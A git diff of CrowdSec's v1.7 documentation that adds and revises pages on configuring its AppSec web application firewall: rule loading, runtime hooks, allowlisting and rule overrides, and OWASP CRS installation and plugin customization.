↗️](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) that run in out-of-band mode by default + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default # In-band virtual patching + - crowdsecurity/crs # Out-of-band detection based on ModSec CRS - from crowdsecurity/appsec-crs collection +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +:::info +CrowdSec AppSec collections are available on [CrowdSec Hub ↗️](https://app.crowdsec.net/hub/collections?filters=search%3Dappsec) and kept up to date. + +For example the CRS collection: `sudo cscli collections install crowdsecurity/appsec-crs`. +This collection installs OWASP CRS in out-of-band and adds a scenario to ban IPs triggering multiple rules. +::: + +### Using Custom Configurations + +If you want to alter default configuration files, create a new configuration file instead of modifying hub configurations. +Modifying hub configurations will make them *tainted* and prevent automatic updates. + +For example, if you want to change the default vpatch rules config, create your own and use it instead in the acquisition file. + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default + - custom/my_vpatch_rules +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +A custom configuration file could look like this: + +```yaml title="/etc/crowdsec/appsec-configs/my_vpatch_rules.yaml" +name: custom/my_vpatch_rules +default_remediation: ban +inband_rules: + - custom/custom-vpatch-* +# Add custom hooks as needed +``` + +## AppSec Configuration Files + +AppSec configuration files declare **which rules to load** in **in-band** *(blocking)* and/or **out-of-band** *(non-blocking)* mode, define how matches are handled (for example, default remediation), and let you tweak processing via hooks like `on_load`, `pre_eval`, `post_eval`, and `on_match`. + +For the full list of keys, see [Configuration Syntax](configuration). + +:::info +When loading multiple AppSec configs, _hooks_ and _appsec rules_ are appended, and for conflicting options (for example, `default_remediation`), the last one takes precedence. +::: + +### Configuration Processing Order + +When multiple AppSec configurations are loaded, they are processed in the order specified in the `appsec_configs` list. For details on how in-band and out-of-band rules work, see the [AppSec Introduction](intro.md#inband-rules-and-out-of-band-rules). + +### Multi-Config Rule Evaluation + +1. All `inband_rules` from all configurations are combined and evaluated together +2. All `outofband_rules` from all configurations are combined and evaluated together +3. Hooks from all configurations are executed in the order the configurations are listed +4. For conflicting configuration options (like `default_remediation`), the last configuration's value takes precedence + +## Testing Changes + +After updating AppSec configuration files: + +1. Reload CrowdSec so it picks up the new configuration. +2. Validate behavior with your usual test traffic, or use the [generic AppSec test rule](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/appsec-generic-test). +3. Inspect results in logs or via `cscli metrics show appsec`. + +For more troubleshooting guidance, see [AppSec Troubleshooting](troubleshooting.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration_rule_management.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration_rule_management.md new file mode 100644 index 000000000..08b9ca77e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration_rule_management.md @@ -0,0 +1,85 @@ +--- +id: configuration_rule_management +title: Allowlisting and Rule Overrides +sidebar_position: 3 +--- + +## Disabling Rules at Runtime + +You can disable rules at runtime, either globally (for all requests) or based on specific conditions (source IP, URI, ...). + +You can disable rules by: + - Name with `RemoveInBandRuleByName`: For CrowdSec rules (name as seen in `cscli appsec-rules list`) + - ID with `RemoveInBandRuleByID`: For seclang/ModSecurity rules by numeric ID + - Tag with `RemoveInBandRuleByTag`: For seclang/ModSecurity rules by tag + +The same functions exist for out-of-band rules, prefixed with `RemoveOutBandRuleBy...` + +To disable a rule, create a new AppSec config to avoid tainting the configuration from the hub (or update your existing custom configuration). + +```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" +name: custom/my_config +on_load: + - apply: + - RemoveInBandRuleByName("crowdsecurity/vpatch-env-access") +pre_eval: + - filter: IsInBand == true && req.URL.Path startsWith "/bar/" + apply: + - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") +``` + +This example uses [hooks](hooks.md) to modify the configuration in 2 places: + - `on_load`: Expressions here will be applied when CrowdSec loads the configuration, effectively disabling the rule `crowdsecurity/vpatch-env-access` globally. + - `pre_eval`: Expressions here will be applied only if the provided filter matches. In this example, we are disabling the rule `crowdsecurity/generic-wordpress-uploads-php` only if the request URI starts with `/blog/` and if we are currently processing in-band rules. + +You can also disable native (seclang) rules by providing their ID with the `RemoveInBandRuleByID` helper. See the [hooks](hooks.md) documentation for a list of available helpers. + +Also note that we are not loading any rules in our custom config: the rules are loaded by the `crowdsecurity/appsec-default` config, and we are just modifying the runtime behavior with this config. + +Finally, add your new config to the acquisition configuration: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default + - custom/my_config +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +## Allowlisting + +### Fully allow a specific IP or range + +If you want to ignore all rule matches for a specific IP or range, you can use a [centralized allowlist](/local_api/allowlists.md). + +Rules will be processed as usual, but the request will not be blocked even if a rule matches. + +### Disable specific rules for a specific IP/range + +If you want to disable rule(s) for a specific IP (or range), you will need to use the `pre_eval` hook (refer to the section above for more details): + +```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" +name: custom/my_config +pre_eval: + - filter: req.RemoteAddr == "1.2.3.4" + apply: + - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") +``` + +### Disable appsec for a specific FQDN + +If your reverse-proxy forwards all requests to CrowdSec regardless of the FQDN, you can disable AppSec for specific domains with a custom AppSec config (the request will always be allowed): + +```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" +name: custom/my_config +on_match: + - filter: req.Host == "foo.com" + apply: + - CancelEvent() + - CancelAlert() + - SetRemediation("allow") +``` + +With this config, the rules will still be evaluated, but if a rule matches no alert or event will be generated, and the remediation will be set to `allow` (i.e., instruct the bouncer to let the request through). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/create_rules.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/create_rules.md index 5b3b2db80..7ca56440f 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/create_rules.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/create_rules.md @@ -1,6 +1,6 @@ --- id: create_rules -title: Create AppSec Rules +title: Creation & Testing sidebar_position: 3 --- @@ -170,12 +170,12 @@ Let's get over the relevant parts: - `description` is how your scenario will appear in [the hub](https://hub.crowdsec.net) - `labels` section is used both in [the hub](https://hub.crowdsec.net) and [the console](https://app.crowdsec.net). [It must follow rules described here](/log_processor/scenarios/format.md#labels) - `rules` describe what we want to match: - - a [`METHOD`](/appsec/rules_syntax.md#target) [equal to `POST`](/appsec/rules_syntax.md#match) - - the presence of a header ([`HEADERS_NAME`](/appsec/rules_syntax.md#target)) with a name that once transformed to `lowercase`, is `x-foobar-bypass` + - a [`METHOD`](rules_syntax.md#zones) [equal to `POST`](rules_syntax.md#match) + - the presence of a header ([`HEADERS_NAME`](rules_syntax.md#zones)) with a name that once transformed to `lowercase`, is `x-foobar-bypass` - a post parameter (`BODY_ARGS`), `user_id` that contains something else than a-z A-Z or 0-9 or `_` :::info -You can [find detailed rules syntax here](/appsec/rules_syntax.md). +You can [find detailed rules syntax here](rules_syntax.md). ::: ## Testing diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/customization.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/customization.md new file mode 100644 index 000000000..f0a7ef943 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/customization.md @@ -0,0 +1,77 @@ +--- +id: crs_config +title: Customization +sidebar_position: 2 +--- + +In most cases, CRS will need some custom configuration to work properly without false positives on any moderatly complex application. + +In order to update the behaviour of the CRS, we will be using the plugin system to update the configuration without modifying any existing file. + +To get an overview of the plugin system, you can refer to the [dedicated documentation](/appsec/crs/plugin_support.md). + +:::warning + +CRS configuration applies globally. + +If you serve multiple apps and want to change behaviour only on specific routes or FQDN, you will need to filter for those in the rules themselves. + +::: + +## Examples + +All the rules shown in the examples need to be put in a file `-before.conf` in the directory `/var/lib/crowdsec/data/crs-plugins//` + +### Allow the PUT method + +As a simple customization, you can create a small CRS plugin that adds PUT to the list of allowed HTTP methods. + +```conf title="/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf" + +SecRule &TX:allowed_methods "@eq 0" \ + "id:9900000,\ + phase:1,\ + pass,\ + nolog,\ + setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT'" +``` + +Restart CrowdSec to load the plugin and apply the new method list. + +### Allow the PUT method only on blog.mydomain.com + +```conf title="/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf" +SecRule SERVER_NAME "@streq blog.mydomain.com" "phase:1,chain" + SecRule &TX:allowed_methods "@eq 0" \ + "id:9900000,\ + phase:1,\ + pass,\ + nolog,\ + setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT'" +``` + +### Disable a rule for a specific parameter + +Other times, you might want to fully disable a rule on a specific endpoint for a specific parameter. + +Let's say the `query` parameter on the `foo.php` page triggers a false positive on the rule `942100` (LibInjection SQL detection). + +We can disable this rule on this specific parameter: + +```conf title="/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf" +SecRule REQUEST_FILENAME "@streq /foo.php" \ + "id:9900001,\ + phase:1, + pass, + t:none, + nolog, + ctl:RemoveTargetById=942100;ARGS:query" +``` + +### Fully disable a rule + +You might also want to fully disable a rule. While this should be avoided, and it's safer to target specific parameters, sometimes you might need to disable a rule globally because it causes too many false positives. + +```conf title="/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf" +SecRuleRemoveById 942100 +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/installation.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/installation.md new file mode 100644 index 000000000..a64c75c37 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/installation.md @@ -0,0 +1,87 @@ +--- +id: installation +title: Installation +sidebar_position: 1 +--- + +## Installing the CRS + +CRS rules are provided with two configurations in CrowdSec: blocking mode (rules are loaded in-band) and non-blocking mode (rules are loaded out-of-band). + +### Non-blocking mode + +If you have never deployed the CRS on your website, we recommend deploying the rules first in non-blocking mode. + +In this mode, requests are evaluated out of band, meaning they cannot be blocked, but events will still be generated. + +In order to use the CRS in non-blocking mode, you need to install the corresponding collection: + +```sh +cscli collections install crowdsecurity/appsec-crs +``` + +The [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) collection includes: + +- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode +- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations + +Then use it in your acquisition configuration, for example `/etc/crowdsec/acquis.d/waf.yaml`: + +```yaml +source: appsec +appsec-configs: + - crowdsecurity/crs +labels: + type: appsec +``` + +:::info +If an IP triggers too many different rules in a very short timespan, the IP will be blocked, regardless of whether the CRS rules are in blocking mode or not. +::: + +By default, non-blocking mode does not generate alerts. You can update the default configuration to generate an alert for every rule match. + +To do so, create a file `/etc/crowdsec/appsec-configs/crs-alerting.yaml` with the following content: + +```yaml +name: custom/crs-alerting +on_match: + - filter: IsOutBand == true + apply: + - SendAlert() + - CancelEvent() # This one is optional: if set, no event will be generated, meaning CrowdSec will never take a decision based on the rules that were matched. +``` + +Then add it to your acquisition configuration: + +```yaml +source: appsec +appsec-configs: + - crowdsecurity/crs + - custom/crs-alerting +labels: + type: appsec +``` + +### Blocking mode + +You can also configure the CRS in blocking mode. +In this mode, any requests reaching the default CRS threshold for blocking will be dropped. + +You need to install the corresponding collection: + +```sh +cscli collections install crowdsecurity/appsec-crs-inband +``` + +Then load it in your configuration: + +```yaml +source: appsec +appsec-configs: + - crowdsecurity/crs-inband +labels: + type: appsec +``` + +In this mode, requests will be blocked, and alerts will be generated by default. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/intro.md new file mode 100644 index 000000000..30f79501f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/intro.md @@ -0,0 +1,28 @@ +--- +id: intro +title: CRS Support +--- + +The CrowdSec WAF is compatible with the [OWASP CRS](https://coreruleset.org/) project. + +The **OWASP Core Rule Set (CRS)** is a set of generic attack detection rules for use with ModSec-compatible web application firewalls. CRS aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with minimal false positives. + +**Key features of OWASP CRS:** + +- **Comprehensive Coverage**: Protects against SQL injection, XSS, command injection, path traversal, and many other attack types +- **Generic Detection**: Uses pattern-based rules that detect attack techniques rather than specific exploits +- **Mature Ruleset**: Actively maintained by the OWASP community with regular updates +- **Configurable Sensitivity**: Supports paranoia levels to balance security vs false positives +- **Wide Compatibility**: Works with various WAF engines including CrowdSec's AppSec component + +**CRS vs Virtual Patching:** + +- **Virtual Patching**: Targets specific known vulnerabilities (CVEs) with minimal false positives +- **CRS**: Provides broad attack pattern detection with comprehensive coverage but may require tuning + +In CrowdSec, CRS rules can be deployed in two modes: + +- **Out-of-band**: Analyzes traffic without blocking, triggers bans after multiple violations +- **In-band**: Blocks malicious requests immediately at detection time + +CRS compatibility is provided through [Coraza](https://github.com/corazawaf/coraza). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/plugin_support.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/plugin_support.md new file mode 100644 index 000000000..c556ecf0e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/crs/plugin_support.md @@ -0,0 +1,81 @@ +--- +id: plugin_support +title: Plugin support +sidebar_position: 1 +--- + +The CRS provides a plugin mechanism, allowing you to extend the CRS or fine-tune its behaviour for specific applications. + +The vast majority of plugins should work with CrowdSec. The only exception is plugins requiring Lua scripts. + +## How plugins work + +CRS plugins are injected both before and after the CRS rules. + +The following files are included automatically if present in `/var/lib/crowdsec/data/`: + +```yaml +- crs-plugins/*/*-config.conf +- crs-plugins/*/*-before.conf +- crs-plugins/*/*-after.conf +``` + +The `*-config.conf` and `*-before.conf` files are included before the CRS rules (but after the CRS `crs-setup.conf` file). + +The `*-after.conf` files are included after the CRS rules. + +:::warning + +Plugins are enabled globally, meaning you cannot enable or disable one for one specific route or FQDN. + +::: + +## Installing a CRS plugin from the Hub + +Exclusion plugins officially supported and maintained by the CRS team are available in the [CrowdSec Hub](https://app.crowdsec.net/hub). You can search for `uib`. + +As an example, plugins for the following apps are provided: + +- Wordpress +- NextCloud +- PHPMyAdmin +- CPanel +- Drupal +- PHPBB +- DokuWiki +- Xenforo + +If the plugin you want to use is listed in the Hub, you can simply install it with `cscli collections install crowdsecurity/`. + +It will be automatically loaded by CrowdSec after a restart if you are using the CRS collection. + +Plugins installed through the Hub are kept up to date automatically once installed. + +:::warning +CRS plugins are treated as data files in CrowdSec. Any manual changes to them will be overwritten the next time they are updated. +::: + +## Manually installing a plugin + +If the plugin you want to use is not provided by the hub (or you want to make some changes to the plugin), you will need to manually install it. + +Let's take the [Roundcube third-party plugin](https://github.com/EsadCetiner/roundcube-rule-exclusions-plugin) as an example. + +You'll need to first create the plugin directory in the CrowdSec data directory (you can use any name you want for the directory): + +```sh +sudo mkdir /var/lib/crowdsec/data/crs-plugins/roundcube +``` + +Next, we'll simply need to copy the contents of the `plugins` directory into the directory we just created. +Assuming the plugin repository was cloned to `/home/user/roundcube-rule-exclusions-plugin/`: + +```sh +sudo cp /home/user/roundcube-rule-exclusions-plugin/plugins/*.conf /var/lib/crowdsec/data/crs-plugins/roundcube/ +``` + +In any case, refer to the documentation of the plugin to check if you need to configure some plugin-specific options. + +If you are writing a fully custom plugin, you can follow the exact same steps to deploy your plugin. + +Finally, restart CrowdSec to load the new plugin. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/hooks.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/hooks.md index 5dbbcc9fe..7fb48b38f 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/hooks.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/hooks.md @@ -1,16 +1,17 @@ --- id: hooks -title: AppSec Component Hooks +title: Hooks sidebar_position: 4 --- The Application Security Component lets you hook into different stages to change behavior at runtime. Hooks run in four phases: - - `on_load`: Called just after the rules have been loaded into the engine. - - `pre_eval`: Called after a request has been received but before the rules are evaluated. - - `post_eval`: Called after the rules have been evaluated. - - `on_match`: Called after a successful match of a rule. If multiple rules, this hook will be called only once. + +- `on_load`: Called just after the rules have been loaded into the engine. +- `pre_eval`: Called after a request has been received but before the rules are evaluated. +- `post_eval`: Called after the rules have been evaluated. +- `on_match`: Called after a successful match of a rule. If multiple rules, this hook will be called only once. ## Using hooks @@ -22,27 +23,24 @@ Both `filter` and `apply` of the same phase have access to the same helpers. Except for `on_load`, hooks can be called twice per request: once for in-band processing and once for out-of-band processing. Use `IsInBand` and `IsOutBand` to filter the hook. - Hooks have the following format: ```yaml on_match: - filter: IsInBand && 1 == 1 apply: - - valid expression - - valid expression + - valid expression + - valid expression ``` If the filter returns `true`, each of the expressions in the `apply` section are executed. - ### `on_load` This hook is intended to be used to disable rules at loading (eg, to temporarily disable a rule that is causing false positives). - #### Available helpers | Helper Name | Type | Description | @@ -63,15 +61,14 @@ This hook is intended to be used to disable rules at loading (eg, to temporarily name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - - crowdsecurity/base-config - - crowdsecurity/vpatch-* + - crowdsecurity/base-config + - crowdsecurity/vpatch-* on_load: - - apply: - - RemoveInBandRuleByName("my_rule") - - SetRemediationByTag("my_tag", "captcha") + - apply: + - RemoveInBandRuleByName("my_rule") + - SetRemediationByTag("my_tag", "captcha") ``` - ### `pre_eval` This hook is intended to be used to disable rules only for this particular request (eg, to disable a rule for a specific IP). @@ -92,6 +89,7 @@ This hook is intended to be used to disable rules only for this particular reque | `SetRemediationByID` | `func(id int, remediation string)` | Change the remediation of the in-band rule identified by the ID | | `SetRemediationByName` | `func(name str, remediation string)` | Change the remediation of the in-band rule identified by the name | | `req` | `http.Request` | Original HTTP request received by the remediation component | +| `DropRequest` | `func(reason str)` | Stop processing the request immediately and instruct the remediation component to block the request | #### Example @@ -99,12 +97,12 @@ This hook is intended to be used to disable rules only for this particular reque name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - - crowdsecurity/base-config - - crowdsecurity/vpatch-* + - crowdsecurity/base-config + - crowdsecurity/vpatch-* pre_eval: - - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" - apply: - - RemoveInBandRuleByName("my_rule") + - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" + apply: + - RemoveInBandRuleByName("my_rule") ``` ### `post_eval` @@ -112,6 +110,7 @@ pre_eval: This hook is mostly intended for debugging or threat-hunting purposes. #### Available helpers + | Helper Name | Type | Description | | ------------- | -------------- | ------------------------------------------------------------ | | `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | @@ -124,25 +123,28 @@ This hook is mostly intended for debugging or threat-hunting purposes. In order to make `DumpRequest` write your request to a file, you have to call `DumpRequest().ToJSON()`, which will create a file in the OS temporary directory (eg, `/tmp` on Linux) with the following format: `crowdsec_req_dump_.json`. You can configure what is dumped with the following options: - - `DumpRequest().NoFilters()`: Clear any previous filters (ie. dump everything) - - `DumpRequest().WithEmptyHeadersFilters()`: Clear the headers filters, ie. dump all the headers - - `DumpRequest().WithHeadersContentFilter(regexp string)`: Add a filter on the content of the headers, ie. dump only the headers that *do not* match the provided regular expression - - `DumpRequest().WithHeadersNameFilter(regexp string)`: Add a filter on the name of the headers, ie. dump only the headers that *do not* match the provided regular expression - - `DumpRequest().WithNoHeaders()`: Do not dump the request headers - - `DumpRequest().WithHeaders()`: Dump all the request headers (override any previous filter) - - `DumpRequest().WithBody()`: Dump the request body - - `DumpRequest().WithNoBody()`: Do not dump the request body - - `DumpRequest().WithEmptyArgsFilters()`: Clear the query parameters filters, ie. dump all the query parameters - - `DumpRequest().WithArgsContentFilter(regexp string)`: Add a filter on the content of the query parameters, ie. dump only the query parameters that *do not* match the provided regular expression - - `DumpRequest().WithArgsNameFilter(regexp string)`: Add a filter on the name of the query parameters, ie. dump only the query parameters that *do not* match the provided regular expression + +- `DumpRequest().NoFilters()`: Clear any previous filters (ie. dump everything) +- `DumpRequest().WithEmptyHeadersFilters()`: Clear the headers filters, ie. dump all the headers +- `DumpRequest().WithHeadersContentFilter(regexp string)`: Add a filter on the content of the headers, ie. dump only the headers that _do not_ match the provided regular expression +- `DumpRequest().WithHeadersNameFilter(regexp string)`: Add a filter on the name of the headers, ie. dump only the headers that _do not_ match the provided regular expression +- `DumpRequest().WithNoHeaders()`: Do not dump the request headers +- `DumpRequest().WithHeaders()`: Dump all the request headers (override any previous filter) +- `DumpRequest().WithBody()`: Dump the request body +- `DumpRequest().WithNoBody()`: Do not dump the request body +- `DumpRequest().WithEmptyArgsFilters()`: Clear the query parameters filters, ie. dump all the query parameters +- `DumpRequest().WithArgsContentFilter(regexp string)`: Add a filter on the content of the query parameters, ie. dump only the query parameters that _do not_ match the provided regular expression +- `DumpRequest().WithArgsNameFilter(regexp string)`: Add a filter on the name of the query parameters, ie. dump only the query parameters that _do not_ match the provided regular expression By default, everything is dumped. All regexps are case-insensitive. -You can chain the options, for example: +You can chain the options, for example: + ``` DumpRequest().WithNoBody().WithArgsNameFilter("var1").WithArgsNameFilter("var2").ToJSON() ``` + This will discard the body of the request, remove the query parameters `var1` and `var2` from the dump, and dump everything else. #### Example @@ -151,12 +153,12 @@ This will discard the body of the request, remove the query parameters `var1` an name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - - crowdsecurity/base-config - - crowdsecurity/vpatch-* + - crowdsecurity/base-config + - crowdsecurity/vpatch-* post_eval: - - filter: IsInBand == true - apply: - - DumpRequest().NoFilters().WithBody().ToJSON() + - filter: IsInBand == true + apply: + - DumpRequest().NoFilters().WithBody().ToJSON() ``` ### `on_match` @@ -165,19 +167,19 @@ This hook is intended to be used to change the behavior of the engine after a ma #### Available helpers -| Helper Name | Type | Description | -| ---------------- | -------------------------- | ------------------------------------------------------------------------- | -| `SetRemediation` | `func(remediation string)` | Change the remediation that will be returned to the remediation component | -| `SetReturnCode` | `func(code int)` | Change the HTTP code that will be returned to the remediation component | -| `CancelAlert` | `func()` | Prevent the Application Security Component to create a crowdsec alert | -| `SendAlert` | `func()` | Force the Application Security Component to create a crowdsec alert | -| `CancelEvent` | `func()` | Prevent the Application Security Component to create a crowdsec event | -| `SendEvent` | `func()` | Force the Application Security Component to create a crowdsec event | -| `DumpRequest` | `func()` | Dump the request to a file (see previous section for detailed usage) | -| `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | -| `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | -| `evt` | `types.Event` | [The event that has been generated](/docs/expr/event.md#appsec-helpers) by the Application Security Component | -| `req` | `http.Request` | Original HTTP request received by the remediation component | +| Helper Name | Type | Description | +| ---------------- | -------------------------- | ------------------------------------------------------------------------------------------------------------- | +| `SetRemediation` | `func(remediation string)` | Change the remediation that will be returned to the remediation component | +| `SetReturnCode` | `func(code int)` | Change the HTTP code that will be returned to the remediation component | +| `CancelAlert` | `func()` | Prevent the Application Security Component to create a crowdsec alert | +| `SendAlert` | `func()` | Force the Application Security Component to create a crowdsec alert | +| `CancelEvent` | `func()` | Prevent the Application Security Component to create a crowdsec event | +| `SendEvent` | `func()` | Force the Application Security Component to create a crowdsec event | +| `DumpRequest` | `func()` | Dump the request to a file (see previous section for detailed usage) | +| `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | +| `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | +| `evt` | `types.Event` | [The event that has been generated](/docs/expr/event.md#appsec-helpers) by the Application Security Component | +| `req` | `http.Request` | Original HTTP request received by the remediation component | #### Example @@ -187,8 +189,8 @@ default_remediation: ban inband_rules: - crowdsecurity/base-config - crowdsecurity/vpatch-* -post_eval: - - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" +on_match: + - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" apply: - CancelAlert() - CancelEvent() @@ -209,8 +211,6 @@ post_eval: When using `SetRemediation*` helpers, the only special value is `allow`: the remediation component won't block the request. Any other values (including `ban` and `captcha`) are transmitted as-is to the remediation component. - - ### `req` object The `pre_eval`, `on_match` and `post_eval` hooks have access to a `req` variable that represents the HTTP request that was forwarded to the appsec. @@ -218,7 +218,8 @@ The `pre_eval`, `on_match` and `post_eval` hooks have access to a `req` variable It's a Go [http.Request](https://pkg.go.dev/net/http#Request) object, so you can directly access all the details about the request. For example: - - To get the requested URI: `req.URL.Path` - - To get the client IP: `req.RemoteAddr` - - To get the HTTP method: `req.Method` - - To get the FQDN: `req.Host` + +- To get the requested URI: `req.URL.Path` +- To get the client IP: `req.RemoteAddr` +- To get the HTTP method: `req.Method` +- To get the FQDN: `req.Host` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/intro.md index 7b25af7e7..ad9a06a08 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/intro.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/intro.md @@ -4,9 +4,20 @@ title: AppSec Component - CrowdSec WAF sidebar_position: 1 --- -## Introduction +## What is CrowdSec? + +If you're new to CrowdSec, here's a quick overview: + +**CrowdSec** is an open-source, collaborative security solution that: +- Detects and blocks malicious actors threatening your infrastructure and applications +- Provides real-time threat intelligence through a participative community +- Offers both **Infrastructure Protection** (IP reputation, DDoS mitigation) and **Application Security** (WAF capabilities) - +:::tip New to CrowdSec? +For a more detailed introduction, check out our [Getting Started Guide](/u/getting_started/intro). +::: + +## Introduction Meet the CrowdSec **Application Security Component** (AppSec Component), which turns your CrowdSec install into a full-fledged **WAF**. @@ -19,25 +30,83 @@ The **AppSec Component** offers: -This component uses existing remediation hooks in web servers (Nginx, Traefik, HAProxy, etc.) to provide web application firewall capabilities. +The component uses existing remediation hooks in web servers and reverse proxies (Nginx, Traefik, HAProxy, etc.) to provide web application firewall capabilities. ![appsec-global](/img/appsec-global.svg) +### How it works + 1. The web server receives the HTTP request. -2. The request is intercepted and passed to the CrowdSec Security Engine via [the HTTP API](appsec/protocol.md). -3. The Security Engine answers once the AppSec in-band rules have been processed. -4. Based on the [Security Engine answer](appsec/protocol.md#response-code), the web server either blocks the request or processes it as usual. +2. The request is forwarded to the CrowdSec Security Engine over a local HTTP interface. +3. The engine evaluates the request against AppSec rules (in-band rules can block immediately). +4. Based on the result, the web server either blocks the request or processes it as usual. + +### One WAF, many web servers + +The AppSec Component lives in the **CrowdSec Security Engine**, so you get a single “source of truth” for: +- AppSec configurations and rules (collections from the Hub) +- logging, alerting, and Console visibility + +This makes it easy to protect **multiple web servers / reverse proxies** with one CrowdSec instance: each remediation component forwards requests to the same AppSec `listen_addr`. + +Compared to WAFs embedded directly inside each web server, you don’t have to duplicate rule and configuration updates across multiple locations: update the rules once in CrowdSec, and every connected remediation component benefits. + +:::tip Common gotchas +- Installing rules is not enough: you must also enable the AppSec acquisition datasource and restart CrowdSec. +- The remediation component must support AppSec forwarding, and must be configured to forward to the same `listen_addr` you set in the acquisition file. +- In-band rules return an action for the current request (for example `ban`/`captcha`); longer-term bans are driven by scenarios and decisions. +::: + +## Supported Web Servers & Reverse Proxies + +The AppSec Component works seamlessly with modern web servers and reverse proxies: + +
+ + + +
+OpenResty +OpenResty +Quick Start Guide → +
+ +
+Traefik +Traefik +Quick Start Guide → +
+ +
+HAProxy +HAProxy +Quick Start Guide → +
+ +
+WordPress +WordPress +Quick Start Guide → +
+ +
+ +**Looking for other integrations?** Check out the [full list of remediation components](https://hub.crowdsec.net/browse/#remediation-components) on the CrowdSec Hub. We're constantly adding new integrations! -## In-band Rules and Out-of-Band Rules +## Inband Rules and Out-Of-Band Rules The AppSec component relies on rules to inspect HTTP requests: -- In-band rules are meant to interrupt request processing +- Inband rules are meant to interrupt request processing - Out-Of-Band rules are non-blocking and are evaluated asynchronously ### In-band rule processing -The security engine first evaluates the in-band rules, designed to identify and block specific requests. +The security engine first evaluates the inband rules, designed to identify and block specific requests. Once these rules are evaluated, a response is relayed to the remediation component. This leads to two possible outcomes: @@ -45,18 +114,18 @@ This leads to two possible outcomes: 1. If an in-band rule is triggered, the remediation component returns a 403 or a captcha challenge to the requester, stopping processing. 2. Otherwise, the request will be normally processed -### Out-of-band rules processing +### Out-of-band rule processing -In the background, the security engine then evaluates out-of-band rules. These rules do not impact performance or response time, as they run after the AppSec Component instructs the web server to continue or stop processing the request. +In the background, the security engine will then evaluate the out-of-band rules. These rules do not impact performance or response time, as they are evaluated after the AppSec Component instructs the webserver to continue or stop processing the request. They are usually meant to detect repetitive unwanted behavior (for example, application spam, resource enumeration, scalping). When these rules trigger, they emit an event that the Security Engine processes like a log line. ## Post processing -When a request triggers one or more rules, either in the in-band section (blocking) or out-of-band (non-blocking), several things happen: +When a request triggers one or more rules, either in the inband section (blocking) or out-of-band (non-blocking), several things happen: -- In-band (blocking) rules appear in your `cscli alerts list` (and thus in your [console dashboard](https://app.crowdsec.net)). -- In-band and Out-of-Band rules trigger an internal CrowdSec event that can be treated like any log line. +- Inband (blocking) rules will appear in your `cscli alerts list` (and thus in your [console dashboard](https://app.crowdsec.net)). +- Inband and Out-Of-Band rules will trigger an internal crowdsec event that can be treated as any log lines. This lets scenarios leverage WAF rule events, such as extending a ban for an IP that triggers multiple virtual patching rules. @@ -66,13 +135,14 @@ You can follow our quick 